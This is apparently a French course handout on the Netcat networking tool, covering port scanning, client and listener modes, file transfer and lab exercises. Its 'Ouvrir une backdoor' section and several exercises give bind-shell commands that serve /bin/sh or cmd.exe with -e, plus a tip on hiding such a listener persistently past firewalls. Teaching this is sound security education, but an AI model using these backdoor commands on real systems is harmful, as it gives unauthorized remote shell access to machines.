Vous êtes sur la page 1sur 6

Netcat

Netcat, dvelopp l'origine pour Unix puis pour Windows plus tard par @stake, est un programme bien connu en ligne de commande. Netcat permet trs simplement d'ouvrir des sockets serveurs et clientes. Ce qui peut tre trs utile pour raliser des relations client/serveurs pour des tests ou autre. Netcat est distribu avec toutes les distributions GNU/Linux. http://netcat.sourceforge.net/ Si vous n'avez pas de distribution Linux sous la main, vous pouvez vous amuser avec la version DOS de Netcat. : http://joncraton.org/files/nc111nt.zip. Obtenir de l'aide sur les commades :
nc -h

Scanner des ports : Par exemple, pour scanner les ports ouverts entre 1 et 300 de l'ip 192.168.0.2 :
nc -v -w2 -z 192.168.0.2 1-300

Netcat comme client : Pour ouvrir une connexion sur le port 1234 de l'hte 192.168.0.2 :
nc 192.168.0.2 1234 nc ftp.proxad.net 21

Par exemple :

cette commande se connectera sur le ftp "ftp.proxad.net" (port ftp = port 21). Ensuite, on peut dialoguer avec le serveur en lui envoyant des commandes ftp. Autre exemple :
nc hostname.com 23

cette commande connecte sur le port (23) telnet de l'adresse hostname.com. A noter que Netcat prend en charge compltement le Telnet de meilleure faon. Pour cela utiliser plutt :
nc -t hostname.com 23

De mme on pourrait se connecter un serveur web sur le port 80 etc etc. Necat-serveur Pour mettre Netcat en coute sur un port de votre machine, il suffit d'utiliser les options -l et -p (listen et port) comme ceci :

nc -l -p 80

-l : pour le mettre en mode listen / coute -p : pour qu'il coute sur le port Normalement, il ne se passe rien et netcat ne vous redonne pas la main pour taper quoique ce soit, mais rien n'est plant pour autant. Sur cet exemple avec le port 80, lancez la commande suivante dans une autre fentre :
telnet 127.0.0.1 80

De faon vous connecter sur le port 80 prcdemment ouvert sur votre machine. Et sur cette nouvelle fentre, si vous tapez quelque chose, vous le devriez le voir apparatre sur la premire fentre. Comme quoi la fentre client communique bien avec la fentre serveur. Maintenant vous pourrez remarquer que si vous fermez votre fentre cliente (telnet), la fentre serveur vous redonne la main. Autrement dit Netcat n'est plus ouvert. Une autre commande existe pour pallier cela : elle permet de remettre le port en coute en permanence la fin d'une connection cliente.
nc -L -p 80

En suivant la mme dmarche que prcdemment mais avec cette nouvelle option -L la place de -l, vous devriez vous rendre compte de cette diffrence. Le mode bavard Une autre option assez pratique est -v ; le mode verbose (littralement "bavard"). Dans ce mode netcat est plus explicite sur ce qui se passe, et mme encore un peu plus en faisant -vv, comme sur cet exemple :
nc -L -vv -p 80

Et vous pourrez vous en apercevoir ds le lancement de la commande puisqu'il vous retournera la phrase suivante : listening on [any] 80 Emulation d'un serveur Web 1. Lancez Netcat en mode listen sur le port 80, le port d'coute par dfaut des serveurs web 2. Ouvrez votre navigateur prfr et entrez l'url suivante : http://127.0.0.1 Dans la fentre de netcat s'affiche le texte initial qu'envoie le navigateur aux sites web. On pourrait ensuite rpondre dans la syntaxe HTTP approprie et muler ainsi un vrai serveur web. Redirections des entres et des sorties
nc -L -vv -p 21 > ftp.log nc -L -vv -p 21 < ftp.txt

Pour cela, on utilise les caractres < et >. Exemple : logguera toutes les commandes envoyes votre Netcat port 21

2/6

Netcat Dans ce sens c'est ftp.txt qui va servir de fichier d'ntre Netcat. Lancez un client telnet, et vous verrez que Netcat ne va plus recevoir les caractres taps au clavier mais bien ceux qui se trouvent dans notre ftp.txt. L'option -e peut aussi servir de redirection dans le sens o elle permet d'excuter un programme en entre. Par exemple :
nc -L -vv -p 21 -e cmd.exe

Lancera le cmd.exe dans notre fentre cliente telnet. L'option -d permet de dtacher Netcat de la fentre : le programme s'excute en tche de fond. Ce qui est trs pratique lorsqu'on veut laisser un port en coute Autres options Les autres options en bref : -n : pour n'entrer que des adresses ip numriques, pas de noms d'htes (mode client). -o : pour loguer tous les octets reus mais en hexadcimal cette fois. -w : timeout, permet d'arrter la tentative de connexion si le temps dfini par est dpass. -u : ce mode permet de travailler avec le protocole UDP au lieu de TCP (modes client et serveur). -s : l'adresse ip locale sur laquelle vous allez vous mettre en coute. Utilisations diverses
Envoyer un fichier entre deux machines

Serveur 1 :
nc -lp 1234 > monfichier.zip

Serveur 2 :
nc -w 1 server1.example.com 1234 < monfichier.zip
Cloner un filesystem

Serveur 1 :
nc -l -p 1234 | dd of=/dev/sda

Serveur 2 :
dd if=/dev/sda | nc server1.example.com 1234
Servir une page Web

while `netcat -lp 80 -c 'echo HTTP/1.0 200 OK';echo;cat index.html`;do;done

3/6

Rcuprer des informations sur le systme

while `netcat -lp 3333 -e /usr/bin/uptime`;do;done


Ouvrir une backdoor

Sur Linux :
nc -nvv -l -p 1234 -e /bin/sh

Sur Windows :
nc -nvv -l -p 1234 -e cmd.exe

Comme vous avez pu le constater, Netcat est un outil trs minimaliste, mais indispensable quand on commence savoir le manipuler.
Faire de la VoIP (sur Linux)

Sur le client :
nc -u <ip_du_serveur> 1234 < /dev/audio > /dev/audio

Sur le serveur :
nc -l -u -p 1234 < /dev/audio > /dev/audio

4/6

Exercices avec Netcat

Sous Linux, l'excutable se nomme nc et est gnralement situ dans /usr/bin. L'avantage de nc est qu'il permet non seulement d'envoyer des caractres ASCII sur une connexion mais aussi des donnes binaires. Il peut aussi servir de client UDP (alors que telnet ne marche qu'avec TCP). Enfin, il peut aussi servir de serveur, c'est dire qu'il peut tre "li" un port (TCP ou UDP selon le choix fait) et attendre que des clients lui envoient des donnes.

Exercice (sous Linux):


1. Utiliser nc pour contacter le serveur TCP daytime 2. Utiliser nc pour lancer un serveur sur un port que vous choisirez (au dessus de 10000). Utiliser ensuite telnet (depuis un autre serveur ou depuis Windows) pour vous connecter ce serveur. 3. Utiliser nc pour lancer un serveur UDP sur un port que vous choisirez (au dessus de 10000). Essayer d'utiliser telnet pour le contacter (a ne marchera pas). Le contacter en lanant un client nc. 4. Utiliser nc pour lancer un serveur sur un port choisi avec l'option -e /usr/bin/whoami. La commande whoami permet de savoir qui est log sur la machine, l'option -e permet d'excuter une commande lorsqu'un client se connecte sur le serveur et de renvoyer la sortie standard vers ce client. Il faut mettre le chemin complet de la commande cat nc n'ira pas voir votre variable PATH. Observez le rsultat. 5. Utiliser un serveur nc pour visualiser la table de routage d'un serveur en tant log sur un autre serveur. 6. Utiliser un serveur nc pour visualiser les ports TCP ouverts d'un serveur en tant log sur un autre serveur. 7. Utiliser un serveur nc pour visualiser le cache ARP d'un serveur en tant log sur un autre serveur. Vous venez d'explorer la ralisation d'une backdoor, il faut bien sur utiliser des ports non filtr par le firewall et lancer ce processus en tache de fond permanente mais le principe y est 8. Examiner les diffrentes possibilits de nc en tant que serveur.

Exercice (sous Windows):


NC est disponible sous Windows, vous en trouverez une version qui ne ncessite pas d'installation. Le Zip contient l'excutable NC mais aussi le fichier d'aide et les sources du programme.

1. Tlcharger puis dzipper nc pour Windows dans un dossier personnel. 2. Crer un script windows nomm telnetd pour lancer nc : un script Windows est simplement un fichier texte dont l'extention est .bat, un fichier batch (extention .bat) lance les commandes dcrit dans le fichier. Ce fichier comportera une premire ligne avec la commande nc, sur la seconde ligne sera simplement crit pause. Cette seconde ligne permet de conserver la console afficher mme la commande termine. 3. Utiliser telnetd pour contacter le serveur TCP daytime. 4. Utiliser telnetd pour couter un port puis contacter ce port avec telnet sous Windows, puis sous Linux. 5. Utiliser telnetd pour couter un port avec l'option -e cmd.exe puis contacter ce port avec telnet sous Windows. Que se passe t il ? Contacter ce port avec telnet sous Linux. Contacter ce port depuis un autre utilisateur et constater les possibilits 6. Que dire de l'option -d ?

6/6